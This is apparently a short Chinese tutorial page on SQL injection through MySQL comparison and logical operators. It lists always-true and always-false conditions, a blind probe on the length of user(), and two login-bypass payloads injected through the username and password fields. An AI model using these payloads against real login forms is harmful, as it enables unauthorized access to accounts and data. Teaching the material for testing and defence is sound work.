SQL注入:MySql关系型字符
关系运算符
#常见的比较运算法
>,<,>=,<=,!=,=
#范围运算符
#num1 要小于等于 num2
between num1 and num2
#判断是否在in后的集合中
in ('1','2','3'...)
#判断是否为空
where is null
where is not null
#相似判断查找
like
%:任意多个任意字符
-:一个任意字符
关系运算符与注入攻击
{正常查询语句} and length(user()) > 5|6|7...;
and与or与xor
and :左右皆true,结果为true
or :左右有一个为true,结果为true
xor :左右一true一false,结果为真,反之结果为假
空集逻辑
and 1=2
and 1>2
and !1
and !!1
and true xor true
and false xor false
and ~1
and 0=true
...
全集逻辑
and 1=1
or 1=2
and !!!1
and ~0
xor false
...
登录时,选择不同的注入位置
用户名位置:
#正常的查询语句
select * from users where username='admin' and passwd='123.com';
#经过注入后的恶意查询登录语句
select * from users where username='1' or 1=1;# and passwd='123.com';
如果存在此类注入,那么输入任意字符都可登录
密码位置:
#正常的查询语句
select * from users where username='admin' and passwd='123.com';
#经过注入后的恶意查询登录语句
select * from users where username='admin' and passwd=''='';#123.com';
如果存在此类注入,那么知晓登录的用户名即可登录后台

浙公网安备 33010602011771号